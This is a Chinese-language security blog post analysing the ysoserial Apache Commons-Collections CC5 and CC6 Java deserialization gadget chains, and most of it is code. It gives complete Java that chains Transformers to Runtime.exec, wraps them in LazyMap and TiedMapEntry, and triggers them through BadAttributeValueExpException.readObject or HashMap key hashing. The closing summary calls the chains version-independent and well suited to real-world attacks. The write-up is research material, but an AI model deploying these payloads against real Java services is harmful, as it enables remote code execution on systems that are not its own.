YsoSerial 工具經常使用Payload分析之CC五、6(三)

前言

這是common-collections 反序列化的第三篇文章,此次分析利用鏈CC5和CC6,先看下Ysoserial CC5 payload:java

public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

前面到LazyMap這一段咱們已經很是熟悉了,惡意的Transform放到了LazyMap中,只要有其餘地方調用LazyMap的get()方法便可觸發惡意Transform。app

image-20210728151433001

經過IDEA的Find Usages功能,能夠看到有上千個地方有對lazymap調用,而YsoSerial CC5選擇了TiedMapEntry。code

image-20210728152718115

TiedMapEntry

爲何CC5 選擇使用TiedMapEntry呢,看一下TiedMapEntry的源碼,其中getValue()有對map調用get()方法,那getValue()就能觸發代碼執行,捎帶的本類中還有equalshashCodetoString 有調用getValue,也就是說在TiedMapEntry 能觸發代碼執行的有 equalshashCodetoStringgetValue這四個方法,其中toString和equals 某些場景下可以被隱式調用。orm

image-20210728153809441

image-20210728153825744

image-20210728153841450

利用鏈挖掘

將惡意類綁定到TiedMapEntry後,由於能夠觸發的方法變多了,同時特別是toString和equel方法更加通用因此,只要找到一個類知足如下條件,那RCE就能完成了:繼承

  1. 該類有繼承能夠被序列化標誌的Serializable接口,或者其父類有繼承Serializable
  2. 該類的readObject方法中有調用可控變量的toStringequelhashCodegetValue

知足這兩個條件其實有不少,對應的分別有接口

  • 調用toString的BadAttributeValueExpException 對應CC5rem

  • 調用hashcode的HashMap,對應CC6get

1、BadAttributeValueExpException(CC5)

先來分析下CC5的BadAttributeValueExpException,打開源碼定位readObject,很是明顯,有對序列化變量val的toString()操做。cmd

image-20210728161114637

看一下這個val長啥樣:源碼

image-20210728161253256

val是一個Object類型的私有化變量,那思路就很清晰,只要把咱們構造的TiedMapEntry 經過反射賦值給val便可。

實操

第一步 構造惡意的LazyMap

//  第一步 構造惡意lazyMap
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 構造惡意的TiedMapEntry

// 第二步 構造惡意的 TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 構造利用類 BadAttributeValueExpException

這裏有個細節,雖然可以直接經過構造方法賦值給val,但在構造方法中有對入參作toString操做,那獲得的val就是String而不是map了,因此只能經過反射的方式去賦值給val

image-20210728162914358

// 第三步 構造 BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
        ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化驗證

// 第四步 反序列化驗證
        String path =  ExpUtils.serialize(badAttributeValueExpException);
        ExpUtils.unserialize(path);

執行一下,命令成功執行:

image-20210728163056461

HashMap

上面以BadAttributeValueExpException做爲利用,下面看一下HashMap#readObject的源碼,HashMap中有對反序列化的key值作hash操做:

image-20210728163524416

跟進一下hash(),調用了key的hashCode()方法,結合咱們對TiedMapEntry的分析,這裏只要將key賦值爲TiedMapEntry,在反序列化時便可完成RCE。

image-20210728163804360

實操

第一步 構造惡意TiedMapEntry

這裏有一點和前面不同,傳遞給chainedTransformer的是一個 new ConstantTransformer(1) 至關於空操做的fakeTransformer,這是爲了不後面在hashmap在put時會執行代碼。

//  第一步 構造惡意 tiedMapEntry
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransformer = new Transformer[]{
                new ConstantTransformer(1)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 綁定到hashmap上

Map mapStringHashMap = new HashMap<>();
 mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一個hashmap的entryKey

這裏能夠想一下爲何要這麼操做。

由於HashMap不光在readobject時會執行hash操做,在put的時候也會計算hash,這樣put的時候第一個hashmap就已經生成entryKey的key了,而在反序列化的時候系統判斷存在就不會再執行transform方法,也就不會觸發代碼執行。

image-20210728201256462

其實這裏爲何在已經傳遞給tiedMapEntry後還能修改第一個hashmap並生效也說明了,Java中傳遞給TiedMapEntry只是一個引用,能夠在外面進行修改。

evilMap.remove("entryKey");

第四步 把惡意的transfomer經過反射從新賦值給chainedTransformer並反序列化驗證

ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
        String path = ExpUtils.serialize(mapStringHashMap);
        ExpUtils.unserialize(path);

執行結果:

image-20210728201649306

總結

本篇文章在前文LazyMap的基礎上進一步經過TiedMapEntry封裝,從而帶來了CC5與CC6的反序列化利用鏈,值得說明的是,CC五、CC6目前沒有版本限制,執行很是通用,我在最近的JDK1.8.261下都能成功運行,是在實戰中比較好利用的鏈。

相關文章
相關標籤/搜索